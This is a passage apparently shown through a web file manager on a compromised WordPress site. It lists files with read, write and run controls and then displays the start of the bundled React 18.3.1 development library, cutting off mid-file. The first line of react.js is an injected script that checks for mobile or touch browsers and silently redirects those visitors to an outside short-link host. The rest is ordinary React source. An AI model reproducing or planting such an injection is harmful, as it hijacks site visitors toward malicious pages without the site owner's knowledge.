at path:ROOT / wp-includes / js / dist / vendor / react.js
run:R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
533.37 KB
2026-08-13 20:01:45
R W Run
71.73 KB
2026-08-13 20:01:45
R W Run
172.52 KB
2026-08-13 20:01:45
R W Run
57.65 KB
2026-08-13 20:01:45
R W Run
1.03 MB
2026-08-13 20:01:45
R W Run
128.96 KB
2026-08-13 20:01:45
R W Run
38.89 KB
2026-08-13 20:01:45
R W Run
1.33 KB
2026-08-13 20:01:45
R W Run
107.57 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
24.93 KB
2026-08-13 20:01:45
R W Run
6.7 KB
2026-08-13 20:01:45
R W Run
2.1 KB
2026-08-13 20:01:45
R W Run
1.09 KB
2026-08-13 20:01:45
R W Run
650 By
2026-08-13 20:01:45
R W Run
650 By
2026-08-13 20:01:45
R W Run
19.57 KB
2026-08-13 20:01:45
R W Run
10 KB
2026-08-13 20:01:45
R W Run
11.81 KB
2026-08-13 20:01:45
R W Run
8.9 KB
2026-08-13 20:01:45
R W Run
29.73 KB
2026-08-13 20:01:45
R W Run
8.21 KB
2026-08-13 20:01:45
R W Run
865 By
2026-08-13 20:01:45
R W Run
575 By
2026-08-13 20:01:45
R W Run
9.19 KB
2026-08-13 20:01:45
R W Run
3.13 KB
2026-08-13 20:01:45
R W Run
107.96 KB
2026-08-13 20:01:45
R W Run
46.2 KB
2026-08-13 20:01:45
R W Run
106.34 KB
2026-08-13 20:01:45
R W Run
33.17 KB
2026-08-13 20:01:45
R W Run
error_log
📄react.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @license React
4 * react.development.js
5 *
6 * Copyright (c) Facebook, Inc. and its affiliates.
7 *
8 * This source code is licensed under the MIT license found in the
9 * LICENSE file in the root directory of this source tree.
10 */
11(function (global, factory) {
12 typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
13 typeof define === 'function' && define.amd ? define(['exports'], factory) :
14 (global = global || self, factory(global.React = {}));
15}(this, (function (exports) { 'use strict';
16
17 var ReactVersion = '18.3.1';
18
19 // ATTENTION
20 // When adding new symbols to this file,
21 // Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'
22 // The Symbol used to tag the ReactElement-like types.
23 var REACT_ELEMENT_TYPE = Symbol.for('react.element');
24 var REACT_PORTAL_TYPE = Symbol.for('react.portal');
25 var REACT_FRAGMENT_TYPE = Symbol.for('react.fragment');
26 var REACT_STRICT_MODE_TYPE = Symbol.for('react.strict_mode');
27 var REACT_PROFILER_TYPE = Symbol.for('react.profiler');
28 var REACT_PROVIDER_TYPE = Symbol.for('react.provider');
29 var REACT_CONTEXT_TYPE = Symbol.for('react.context');
30 var REACT_FORWARD_REF_TYPE = Symbol.for('react.forward_ref');
31 var REACT_SUSPENSE_TYPE = Symbol.for('react.suspense');
32 var REACT_SUSPENSE_LIST_TYPE = Symbol.for('react.suspense_list');
33 var REACT_MEMO_TYPE = Symbol.for('react.memo');
34 var REACT_LAZY_TYPE = Symbol.for('react.lazy');
35 var REACT_OFFSCREEN_TYPE = Symbol.for('react.offscreen');
36 var MAYBE_ITERATOR_SYMBOL = Symbol.iterator;
37 var FAUX_ITERATOR_SYMBOL = '@@iterator';
38 function getIteratorFn(maybeIterable) {
39 if (maybeIterable === null || typeof maybeIterable !== 'object') {
40 return null;
41 }
42
43 var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];
44
45 if (typeof maybeIterator === 'function') {
46 return maybeIterator;
47 }
48
49 return null;
50 }
51
52 /**
53 * Keeps track of the current dispatcher.
54 */
55 var ReactCurrentDispatcher = {
56 /**
57 * @internal
58 * @type {ReactComponent}
59 */
60 current: null
61 };
62
63 /**
64 * Keeps track of the current batch's configuration such as how long an update
65 * should suspend for if it needs to.
66 */
67 var ReactCurrentBatchConfig = {
68 transition: null
69 };
70
71 var ReactCurrentActQueue = {
72 current: null,
73 // Used to reproduce behavior of `batchedUpdates` in legacy mode.
74 isBatchingLegacy: false,
75 didScheduleLegacyUpdate: false
76 };
77
78 /**
79 * Keeps track of the current owner.
80 *
81 * The current owner is the component who should own any components that are
82 * currently being constructed.
83 */
84 var ReactCurrentOwner = {
85 /**
86 * @internal
87 * @type {ReactComponent}
88 */
89 current: null
90 };
91
92 var ReactDebugCurrentFrame = {};
93 var currentExtraStackFrame = null;
94 function setExtraStackFrame(stack) {
95 {
96 currentExtraStackFrame = stack;
97 }
98 }
99
100 {
101 ReactDebugCurrentFrame.setExtraStackFrame = function (stack) {
102 {
103 currentExtraStackFrame = stack;
104 }
105 }; // Stack implementation injected by the current renderer.
106
107
108 ReactDebugCurrentFrame.getCurrentStack = null;
109
110 ReactDebugCurrentFrame.getStackAddendum = function () {
111 var stack = ''; // Add an extra top frame while an element is being validated
112
113 if (currentExtraStackFrame) {
114 stack += currentExtraStackFrame;
115 } // Delegate to the injected renderer-specific implementation
116
117
118 var impl = ReactDebugCurrentFrame.getCurrentStack;
119
120 if (impl) {
121 stack += impl() || '';
122 }
123
124 return stack;
125 };
126 }
127
128 // -----------------------------------------------------------------------------
129
130 var enableScopeAPI = false; // Experimental Create Event Handle API.
131 var enableCacheElement = false;
132 var enableTransitionTracing = false; // No known bugs, but needs performance testing
133
134 var enableLegacyHidden = false; // Enables unstable_avoidThisFallback feature in Fiber
135 // stuff. Intended to enable React core members to more easily debug scheduling
136 // issues in DEV builds.
137
138 var enableDebugTracing = false; // Track which Fiber(s) schedule render work.
139
140 var ReactSharedInternals = {
141 ReactCurrentDispatcher: ReactCurrentDispatcher,
142 ReactCurrentBatchConfig: ReactCurrentBatchConfig,
143 ReactCurrentOwner: ReactCurrentOwner
144 };
145
146 {
147 ReactSharedInternals.ReactDebugCurrentFrame = ReactDebugCurrentFrame;
148 ReactSharedInternals.ReactCurrentActQueue = ReactCurrentActQueue;
149 }
150
151 // by calls to these methods by a Babel plugin.
152 //
153 // In PROD (or in packages without access to React internals),
154 // they are left as they are instead.
155
156 function warn(format) {
157 {
158 {
159 for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
160 args[_key - 1] = arguments[_key];
161 }
162
163 printWarning('warn', format, args);
164 }
165 }
166 }
167 function error(format) {
168 {
169 {
170 for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
171 args[_key2 - 1] = arguments[_key2];
172 }
173
174 printWarning('error', format, args);
175 }
176 }
177 }
178
179 function printWarning(level, format, args) {
180 // When changing this logic, you might want to also
181 // update consoleWithStackDev.www.js as well.
182 {
183 var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;
184 var stack = ReactDebugCurrentFrame.getStackAddendum();
185
186 if (stack !== '') {
187 format += '%s';
188 args = args.concat([stack]);
189 } // eslint-disable-next-line react-internal/safe-string-coercion
190
191
192 var argsWithFormat = args.map(function (item) {
193 return String(item);
194 }); // Careful: RN currently depends on this prefix
195
196 argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it
197 // breaks IE9: https://github.com/facebook/react/issues/13610
198 // eslint-disable-next-line react-internal/no-production-logging
199
200 Function.prototype.apply.call(console[level], console, argsWithFormat);
201 }
202 }
203
204 var didWarnStateUpdateForUnmountedComponent = {};
205
206 function warnNoop(publicInstance, callerName) {
207 {
208 var _constructor = publicInstance.constructor;
209 var componentName = _constructor && (_constructor.displayName || _constructor.name) || 'ReactClass';
210 var warningKey = componentName + "." + callerName;
211
212 if (didWarnStateUpdateForUnmountedComponent[warningKey]) {
213 return;
214 }
215
216 error("Can't call %s on a component that is not yet mounted. " + 'This is a no-op, but it might indicate a bug in your application. ' + 'Instead, assign to `this.state` directly or define a `state = {};` ' + 'class property with the desired state in the %s component.', callerName, componentName);
217
218 didWarnStateUpdateForUnmountedComponent[warningKey] = true;
219 }
220 }
221 /**
222 * This is the abstract API for an update queue.
223 */
224
225
226 var ReactNoopUpdateQueue = {
227 /**
228 * Checks whether or not this composite component is mounted.
229 * @param {ReactClass} publicInstance The instance we want to test.
230 * @return {boolean} True if mounted, false otherwise.
231 * @protected
232 * @final
233 */
234 isMounted: function (publicInstance) {
235 return false;
236 },
237
238 /**
239 * Forces an update. This should only be invoked when it is known with
240 * certainty that we are **not** in a DOM transaction.
241 *
242 * You may want to call this when you know that some deeper aspect of the
243 * component's state has changed but `setState` was not called.
244 *
245 * This will not invoke `shouldComponentUpdate`, but it will invoke
246 * `componentWillUpdate` and `componentDidUpdate`.
247 *
248 * @param {ReactClass} publicInstance The instance that should rerender.
249 * @param {?function} callback Called after component is updated.
250 * @param {?string} callerName name of the calling function in the public API.
251 * @internal
252 */
253 enqueueForceUpdate: function (publicInstance, callback, callerName) {
254 warnNoop(publicInstance, 'forceUpdate');
255 },
256
257 /**
258 * Replaces all of the state. Always use this or `setState` to mutate state.
259 * You should treat `this.state` as immutable.
260 *
261 * There is no guarantee that `this.state` will be immediately updated, so
262 * accessing `this.state` after calling this method may return the old value.
263 *
264 * @param {ReactClass} publicInstance The instance that should rerender.
265 * @param {object} completeState Next state.
266 * @param {?function} callback Called after component is updated.
267 * @param {?string} callerName name of the calling function in the public API.
268 * @internal
269 */
270 enqueueReplaceState: function (publicInstance, completeState, callback, callerName) {
271 warnNoop(publicInstance, 'replaceState');
272 },
273
274 /**
275 * Sets a subset of the state. This only exists because _pendingState is
276 * internal. This provides a merging strategy that is not available to deep
277 * properties which is confusing. TODO: Expose pendingState or don't use it
278 * during the merge.
279 *
280 * @param {ReactClass} publicInstance The instance that should rerender.
281 * @param {object} partialState Next partial state to be merged with state.
282 * @param {?function} callback Called after component is updated.
283 * @param {?string} Name of the calling function in the public API.
284 * @internal
285 */
286 enqueueSetState: function (publicInstance, partialState, callback, callerName) {
287 warnNoop(publicInstance, 'setState');
288 }
289 };
290
291 var assign = Object.assign;
292
293 var emptyObject = {};
294
295 {
296 Object.freeze(emptyObject);
297 }
298 /**
299 * Base class helpers for the updating state of a component.
300 */
301
302
303 function Component(props, context, updater) {
304 this.props = props;
305 this.context = context; // If a component has string refs, we will assign a different object later.
306
307 this.refs = emptyObject; // We initialize the default updater but the real one gets injected by the
308 // renderer.
309
310 this.updater = updater || ReactNoopUpdateQueue;
311 }
312
313 Component.prototype.isReactComponent = {};
314 /**
315 * Sets a subset of the state. Always use this to mutate
316 * state. You should treat `this.state` as immutable.
317 *
318 * There is no guarantee that `this.state` will be immediately updated, so
319 * accessing `this.state` after calling this method may return the old value.
320 *
321 * There is no guarantee that calls to `setState` will run synchronously,
322 * as they may eventually be batched together. You can provide an optional
323 * callback that will be executed when the call to setState is actually
324 * completed.
325 *
326 * When a function is provided to setState, it will be called at some point in
327 * the future (not synchronously). It will be called with the up to date
328 * component arguments (state, props, context). These values can be different
329 * from this.* because your function may be called after receiveProps but before
330 * shouldComponentUpdate, and this new state, props, and context will not yet be
331 * assigned to this.
332 *
333 * @param {object|function} partialState Next partial state or function to
334 * produce next partial state to be merged with current state.
335 * @param {?function} callback Called after state is updated.
336 * @final
337 * @protected
338 */
339
340 Component.prototype.setState = function (partialState, callback) {
341 if (typeof partialState !== 'object' && typeof partialState !== 'function' && partialState != null) {
342 throw new Error('setState(...): takes an object of state variables to update or a ' + 'function which returns an object of state variables.');
343 }
344
345 this.updater.enqueueSetState(this, partialState, callback, 'setState');
346 };
347 /**
348 * Forces an update. This should only be invoked when it is known with
349 * certainty that we are **not** in a DOM transaction.
350 *
351 * You may want to call this when you know that some deeper aspect of the
352 * component's state has changed but `setState` was not called.
353 *
354 * This will not invoke `shouldComponentUpdate`, but it will invoke
355 * `componentWillUpdate` and `componentDidUpdate`.
356 *
357 * @param {?function} callback Called after update is complete.
358 * @final
359 * @protected
360 */
361
362
363 Component.prototype.forceUpdate = function (callback) {
364 this.updater.enqueueForceUpdate(this, callback, 'forceUpdate');
365 };
366 /**
367 * Deprecated APIs. These APIs used to exist on classic React classes but since
368 * we would like to deprecate them, we're not going to move them over to this
369 * modern base class. Instead, we define a getter that warns if it's accessed.
370 */
371
372
373 {
374 var deprecatedAPIs = {
375 isMounted: ['isMounted', 'Instead, make sure to clean up subscriptions and pending requests in ' + 'componentWillUnmount to prevent memory leaks.'],
376 replaceState: ['replaceState', 'Refactor your code to use setState instead (see ' + 'https://github.com/facebook/react/issues/3236).']
377 };
378
379 var defineDeprecationWarning = function (methodName, info) {
380 Object.defineProperty(Component.prototype, methodName, {
381 get: function () {
382 warn('%s(...) is deprecated in plain JavaScript React classes. %s', info[0], info[1]);
383
384 return undefined;
385 }
386 });
387 };
388
389 for (var fnName in deprecatedAPIs) {
390 if (deprecatedAPIs.hasOwnProperty(fnName)) {
391 defineDeprecationWarning(fnName, deprecatedAPIs[fnName]);
392 }
393 }
394 }
395
396 function ComponentDummy() {}
397
398 ComponentDummy.prototype = Component.prototype;
399 /**
400 * Convenience component with default shallow equality check for sCU.
401 */
402
403 function PureComponent(props, context, updater) {
404 this.props = props;
405 this.context = context; // If a component has string refs, we will assign a different object later.
406
407 this.refs = emptyObject;
408 this.updater = updater || ReactNoopUpdateQueue;
409 }
410
411 var pureComponentPrototype = PureComponent.prototype = new ComponentDummy();
412 pureComponentPrototype.constructor = PureComponent; // Avoid an extra prototype jump for these methods.
413
414 assign(pureComponentPrototype, Component.prototype);
415 pureComponentPrototype.isPureReactComponent = true;
416
417 // an immutable object with a single mutable value
418 function createRef() {
419 var refObject = {
420 current: null
421 };
422
423 {
424 Object.seal(refObject);
425 }
426
427 return refObject;
428 }
429
430 var isArrayImpl = Array.isArray; // eslint-disable-next-line no-redeclare
431
432 function isArray(a) {
433 return isArrayImpl(a);
434 }
435
436 /*
437 * The `'' + value` pattern (used in in perf-sensitive code) throws for Symbol
438 * and Temporal.* types. See https://github.com/facebook/react/pull/22064.
439 *
440 * The functions in this module will throw an easier-to-understand,
441 * easier-to-debug exception with a clear errors message message explaining the
442 * problem. (Instead of a confusing exception thrown inside the implementation
443 * of the `value` object).
444 */
445 // $FlowFixMe only called in DEV, so void return is not possible.
446 function typeName(value) {
447 {
448 // toStringTag is needed for namespaced types like Temporal.Instant
449 var hasToStringTag = typeof Symbol === 'function' && Symbol.toStringTag;
450 var type = hasToStringTag && value[Symbol.toStringTag] || value.constructor.name || 'Object';
451 return type;
452 }
453 } // $FlowFixMe only called in DEV, so void return is not possible.
454
455
456 function willCoercionThrow(value) {
457 {
458 try {
459 testStringCoercion(value);
460 return false;
461 } catch (e) {
462 return true;
463 }
464 }
465 }
466
467 function testStringCoercion(value) {
468 // If you ended up here by following an exception call stack, here's what's
469 // happened: you supplied an object or symbol value to React (as a prop, key,
470 // DOM attribute, CSS property, string ref, etc.) and when React tried to
471 // coerce it to a string using `'' + value`, an exception was thrown.
472 //
473 // The most common types that will cause this exception are `Symbol` instances
474 // and Temporal objects like `Temporal.Instant`. But any object that has a
475 // `valueOf` or `[Symbol.toPrimitive]` method that throws will also cause this
476 // exception. (Library authors do this to prevent users from using built-in
477 // numeric operators like `+` or comparison operators like `>=` because custom
478 // methods are needed to perform accurate arithmetic or comparison.)
479 //
480 // To fix the problem, coerce this object or symbol value to a string before
481 // passing it to React. The most reliable way is usually `String(value)`.
482 //
483 // To find which value is throwing, check the browser or debugger console.
484 // Before this exception was thrown, there should be `console.error` output
485 // that shows the type (Symbol, Temporal.PlainDate, etc.) that caused the
486 // problem and how that type was used: key, atrribute, input value prop, etc.
487 // In most cases, this console output also shows the component and its
488 // ancestor components where the exception happened.
489 //
490 // eslint-disable-next-line react-internal/safe-string-coercion
491 return '' + value;
492 }
493 function checkKeyStringCoercion(value) {
494 {
495 if (willCoercionThrow(value)) {
496 error('The provided key is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));
497
498 return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
499 }
500 }
501 }
502
503 function getWrappedName(outerType, innerType, wrapperName) {
504 var displayName = outerType.displayName;
505
506 if (displayName) {
507 return displayName;
508 }
509
510 var functionName = innerType.displayName || innerType.name || '';
511 return functionName !== '' ? wrapperName + "(" + functionName + ")" : wrapperName;
512 } // Keep in sync with react-reconciler/getComponentNameFromFiber
513
514
515 function getContextName(type) {
516 return type.displayName || 'Context';
517 } // Note that the reconciler package should generally prefer to use getComponentNameFromFiber() instead.
518
519
520 function getComponentNameFromType(type) {
521 if (type == null) {
522 // Host root, text node or just invalid type.
523 return null;
524 }
525
526 {
527 if (typeof type.tag === 'number') {
528 error('Received an unexpected object in getComponentNameFromType(). ' + 'This is likely a bug in React. Please file an issue.');
529 }
530 }
531
532 if (typeof type === 'function') {
533 return type.displayName || type.name || null;
534 }
535
536 if (typeof type === 'string') {
537 return type;
538 }
539
540 switch (type) {
541 case REACT_FRAGMENT_TYPE:
542 return 'Fragment';
543
544 case REACT_PORTAL_TYPE:
545 return 'Portal';
546
547 case REACT_PROFILER_TYPE:
548 return 'Profiler';
549
550 case REACT_STRICT_MODE_TYPE:
551 return 'StrictMode';
552
553 case REACT_SUSPENSE_TYPE:
554 return 'Suspense';
555
556 case REACT_SUSPENSE_LIST_TYPE:
557 return 'SuspenseList';
558
559 }
560
561 if (typeof type === 'object') {
562 switch (type.$$typeof) {
563 case REACT_CONTEXT_TYPE:
564 var context = type;
565 return getContextName(context) + '.Consumer';
566
567 case REACT_PROVIDER_TYPE:
568 var provider = type;
569 return getContextName(provider._context) + '.Provider';
570
571 case REACT_FORWARD_REF_TYPE:
572 return getWrappedName(type, type.render, 'ForwardRef');
573
574 case REACT_MEMO_TYPE:
575 var outerName = type.displayName || null;
576
577 if (outerName !== null) {
578 return outerName;
579 }
580
581 return getComponentNameFromType(type.type) || 'Memo';
582
583 case REACT_LAZY_TYPE:
584 {
585 var lazyComponent = type;
586 var payload = lazyComponent._payload;
587 var init = lazyComponent._init;
588
589 try {
590 return getComponentNameFromType(init(payload));
591 } catch (x) {
592 return null;
593 }
594 }
595
596 // eslint-disable-next-line no-fallthrough
597 }
598 }
599
600 return null;
601 }
602
603 var hasOwnProperty = Object.prototype.hasOwnProperty;
604
605 var RESERVED_PROPS = {
606 key: true,
607 ref: true,
608 __self: true,
609 __source: true
610 };
611 var specialPropKeyWarningShown, specialPropRefWarningShown, didWarnAboutStringRefs;
612
613 {
614 didWarnAboutStringRefs = {};
615 }
616
617 function hasValidRef(config) {
618 {
619 if (hasOwnProperty.call(config, 'ref')) {
620 var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;
621
622 if (getter && getter.isReactWarning) {
623 return false;
624 }
625 }
626 }
627
628 return config.ref !== undefined;
629 }
630
631 function hasValidKey(config) {
632 {
633 if (hasOwnProperty.call(config, 'key')) {
634 var getter = Object.getOwnPropertyDescriptor(config, 'key').get;
635
636 if (getter && getter.isReactWarning) {
637 return false;
638 }
639 }
640 }
641
642 return config.key !== undefined;
643 }
644
645 function defineKeyPropWarningGetter(props, displayName) {
646 var warnAboutAccessingKey = function () {
647 {
648 if (!specialPropKeyWarningShown) {
649 specialPropKeyWarningShown = true;
650
651 error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);
652 }
653 }
654 };
655
656 warnAboutAccessingKey.isReactWarning = true;
657 Object.defineProperty(props, 'key', {
658 get: warnAboutAccessingKey,
659 configurable: true
660 });
661 }
662
663 function defineRefPropWarningGetter(props, displayName) {
664 var warnAboutAccessingRef = function () {
665 {
666 if (!specialPropRefWarningShown) {
667 specialPropRefWarningShown = true;
668
669 error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);
670 }
671 }
672 };
673
674 warnAboutAccessingRef.isReactWarning = true;
675 Object.defineProperty(props, 'ref', {
676 get: warnAboutAccessingRef,
677 configurable: true
678 });
679 }
680
681 function warnIfStringRefCannotBeAutoConverted(config) {
682 {
683 if (typeof config.ref === 'string' && ReactCurrentOwner.current && config.__self && ReactCurrentOwner.current.stateNode !== config.__self) {
684 var componentName = getComponentNameFromType(ReactCurrentOwner.current.type);
685
686 if (!didWarnAboutStringRefs[componentName]) {
687 error('Component "%s" contains the string ref "%s". ' + 'Support for string refs will be removed in a future major release. ' + 'This case cannot be automatically converted to an arrow function. ' + 'We ask you to manually fix this case by using useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', componentName, config.ref);
688
689 didWarnAboutStringRefs[componentName] = true;
690 }
691 }
692 }
693 }
694 /**
695 * Factory method to create a new React element. This no longer adheres to
696 * the class pattern, so do not use new to call it. Also, instanceof check
697 * will not work. Instead test $$typeof field against Symbol.for('react.element') to check
698 * if something is a React Element.
699 *
700 * @param {*} type
701 * @param {*} props
702 * @param {*} key
703 * @param {string|object} ref
704 * @param {*} owner
705 * @param {*} self A *temporary* helper to detect places where `this` is
706 * different from the `owner` when React.createElement is called, so that we
707 * can warn. We want to get rid of owner and replace string `ref`s with arrow
708 * functions, and as long as `this` and owner are the same, there will be no
709 * change in behavior.
710 * @param {*} source An annotation object (added by a transpiler or otherwise)
711 * indicating filename, line number, and/or other information.
712 * @internal
713 */
714
715
716 var ReactElement = function (type, key, ref, self, source, owner, props) {
717 var element = {
718 // This tag allows us to uniquely identify this as a React Element
719 $$typeof: REACT_ELEMENT_TYPE,
720 // Built-in properties that belong on the element
721 type: type,
722 key: key,
723 ref: ref,
724 props: props,
725 // Record the component responsible for creating this element.
726 _owner: owner
727 };
728
729 {
730 // The validation flag is currently mutative. We put it on
731 // an external backing store so that we can freeze the whole object.
732 // This can be replaced with a WeakMap once they are implemented in
733 // commonly used development environments.
734 element._store = {}; // To make comparing ReactElements easier for testing purposes, we make
735 // the validation flag non-enumerable (where possible, which should
736 // include every environment we run tests in), so the test framework
737 // ignores it.
738
739 Object.defineProperty(element._store, 'validated', {
740 configurable: false,
741 enumerable: false,
742 writable: true,
743 value: false
744 }); // self and source are DEV only properties.
745
746 Object.defineProperty(element, '_self', {
747 configurable: false,
748 enumerable: false,
749 writable: false,
750 value: self
751 }); // Two elements created in two different places should be considered
752 // equal for testing purposes and therefore we hide it from enumeration.
753
754 Object.defineProperty(element, '_source', {
755 configurable: false,
756 enumerable: false,
757 writable: false,
758 value: source
759 });
760
761 if (Object.freeze) {
762 Object.freeze(element.props);
763 Object.freeze(element);
764 }
765 }
766
767 return element;
768 };
769 /**
770 * Create and return a new ReactElement of the given type.
771 * See https://reactjs.org/docs/react-api.html#createelement
772 */
773
774 function createElement(type, config, children) {
775 var propName; // Reserved names are extracted
776
777 var props = {};
778 var key = null;
779 var ref = null;
780 var self = null;
781 var source = null;
782
783 if (config != null) {
784 if (hasValidRef(config)) {
785 ref = config.ref;
786
787 {
788 warnIfStringRefCannotBeAutoConverted(config);
789 }
790 }
791
792 if (hasValidKey(config)) {
793 {
794 checkKeyStringCoercion(config.key);
795 }
796
797 key = '' + config.key;
798 }
799
800 self = config.__self === undefined ? null : config.__self;
801 source = config.__source === undefined ? null : config.__source; // Remaining properties are added to a new props object
802
803 for (propName in config) {
804 if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
805 props[propName] = config[propName];
806 }
807 }
808 } // Children can be more than one argument, and those are transferred onto
809 // the newly allocated props object.
810
811
812 var childrenLength = arguments.length - 2;
813
814 if (childrenLength === 1) {
815 props.children = children;
816 } else if (childrenLength > 1) {
817 var childArray = Array(childrenLength);
818
819 for (var i = 0; i < childrenLength; i++) {
820 childArray[i] = arguments[i + 2];
821 }
822
823 {
824 if (Object.freeze) {
825 Object.freeze(childArray);
826 }
827 }
828
829 props.children = childArray;
830 } // Resolve default props
831
832
833 if (type && type.defaultProps) {
834 var defaultProps = type.defaultProps;
835
836 for (propName in defaultProps) {
837 if (props[propName] === undefined) {
838 props[propName] = defaultProps[propName];
839 }
840 }
841 }
842
843 {
844 if (key || ref) {
845 var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;
846
847 if (key) {
848 defineKeyPropWarningGetter(props, displayName);
849 }
850
851 if (ref) {
852 defineRefPropWarningGetter(props, displayName);
853 }
854 }
855 }
856
857 return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);
858 }
859 function cloneAndReplaceKey(oldElement, newKey) {
860 var newElement = ReactElement(oldElement.type, newKey, oldElement.ref, oldElement._self, oldElement._source, oldElement._owner, oldElement.props);
861 return newElement;
862 }
863 /**
864 * Clone and return a new ReactElement using element as the starting point.
865 * See https://reactjs.org/docs/react-api.html#cloneelement
866 */
867
868 function cloneElement(element, config, children) {
869 if (element === null || element === undefined) {
870 throw new Error("React.cloneElement(...): The argument must be a React element, but you passed " + element + ".");
871 }
872
873 var propName; // Original props are copied
874
875 var props = assign({}, element.props); // Reserved names are extracted
876
877 var key = element.key;
878 var ref = element.ref; // Self is preserved since the owner is preserved.
879
880 var self = element._self; // Source is preserved since cloneElement is unlikely to be targeted by a
881 // transpiler, and the original source is probably a better indicator of the
882 // true owner.
883
884 var source = element._source; // Owner will be preserved, unless ref is overridden
885
886 var owner = element._owner;
887
888 if (config != null) {
889 if (hasValidRef(config)) {
890 // Silently steal the ref from the parent.
891 ref = config.ref;
892 owner = ReactCurrentOwner.current;
893 }
894
895 if (hasValidKey(config)) {
896 {
897 checkKeyStringCoercion(config.key);
898 }
899
900 key = '' + config.key;
901 } // Remaining properties override existing props
902
903
904 var defaultProps;
905
906 if (element.type && element.type.defaultProps) {
907 defaultProps = element.type.defaultProps;
908 }
909
910 for (propName in config) {
911 if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
912 if (config[propName] === undefined && defaultProps !== undefined) {
913 // Resolve default props
914 props[propName] = defaultProps[propName];
915 } else {
916 props[propName] = config[propName];
917 }
918 }
919 }
920 } // Children can be more than one argument, and those are transferred onto
921 // the newly allocated props object.
922
923
924 var childrenLength = arguments.length - 2;
925
926 if (childrenLength === 1) {
927 props.children = children;
928 } else if (childrenLength > 1) {
929 var childArray = Array(childrenLength);
930
931 for (var i = 0; i < childrenLength; i++) {
932 childArray[i] = arguments[i + 2];
933 }
934
935 props.children = childArray;
936 }
937
938 return ReactElement(element.type, key, ref, self, source, owner, props);
939 }
940 /**
941 * Verifies the object is a ReactElement.
942 * See https://reactjs.org/docs/react-api.html#isvalidelement
943 * @param {?object} object
944 * @return {boolean} True if `object` is a ReactElement.
945 * @final
946 */
947
948 function isValidElement(object) {
949 return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
950 }
951
952 var SEPARATOR = '.';
953 var SUBSEPARATOR = ':';
954 /**
955 * Escape and wrap key so it is safe to use as a reactid
956 *
957 * @param {string} key to be escaped.
958 * @return {string} the escaped key.
959 */
960
961 function escape(key) {
962 var escapeRegex = /[=:]/g;
963 var escaperLookup = {
964 '=': '=0',
965 ':': '=2'
966 };
967 var escapedString = key.replace(escapeRegex, function (match) {
968 return escaperLookup[match];
969 });
970 return '$' + escapedString;
971 }
972 /**
973 * TODO: Test that a single child and an array with one item have the same key
974 * pattern.
975 */
976
977
978 var didWarnAboutMaps = false;
979 var userProvidedKeyEscapeRegex = /\/+/g;
980
981 function escapeUserProvidedKey(text) {
982 return text.replace(userProvidedKeyEscapeRegex, '$&/');
983 }
984 /**
985 * Generate a key string that identifies a element within a set.
986 *
987 * @param {*} element A element that could contain a manual key.
988 * @param {number} index Index that is used if a manual key is not provided.
989 * @return {string}
990 */
991
992
993 function getElementKey(element, index) {
994 // Do some typechecking here since we call this blindly. We want to ensure
995 // that we don't block potential future ES APIs.
996 if (typeof element === 'object' && element !== null && element.key != null) {
997 // Explicit key
998 {
999 checkKeyStringCoercion(element.key);
1000 }
1001
1002 return escape('' + element.key);
1003 } // Implicit key determined by the index in the set
1004
1005
1006 return index.toString(36);
1007 }
1008
1009 function mapIntoArray(children, array, escapedPrefix, nameSoFar, callback) {
1010 var type = typeof children;
1011
1012 if (type === 'undefined' || type === 'boolean') {
1013 // All of the above are perceived as null.
1014 children = null;
1015 }
1016
1017 var invokeCallback = false;
1018
1019 if (children === null) {
1020 invokeCallback = true;
1021 } else {
1022 switch (type) {
1023 case 'string':
1024 case 'number':
1025 invokeCallback = true;
1026 break;
1027
1028 case 'object':
1029 switch (children.$$typeof) {
1030 case REACT_ELEMENT_TYPE:
1031 case REACT_PORTAL_TYPE:
1032 invokeCallback = true;
1033 }
1034
1035 }
1036 }
1037
1038 if (invokeCallback) {
1039 var _child = children;
1040 var mappedChild = callback(_child); // If it's the only child, treat the name as if it was wrapped in an array
1041 // so that it's consistent if the number of children grows:
1042
1043 var childKey = nameSoFar === '' ? SEPARATOR + getElementKey(_child, 0) : nameSoFar;
1044
1045 if (isArray(mappedChild)) {
1046 var escapedChildKey = '';
1047
1048 if (childKey != null) {
1049 escapedChildKey = escapeUserProvidedKey(childKey) + '/';
1050 }
1051
1052 mapIntoArray(mappedChild, array, escapedChildKey, '', function (c) {
1053 return c;
1054 });
1055 } else if (mappedChild != null) {
1056 if (isValidElement(mappedChild)) {
1057 {
1058 // The `if` statement here prevents auto-disabling of the safe
1059 // coercion ESLint rule, so we must manually disable it below.
1060 // $FlowFixMe Flow incorrectly thinks React.Portal doesn't have a key
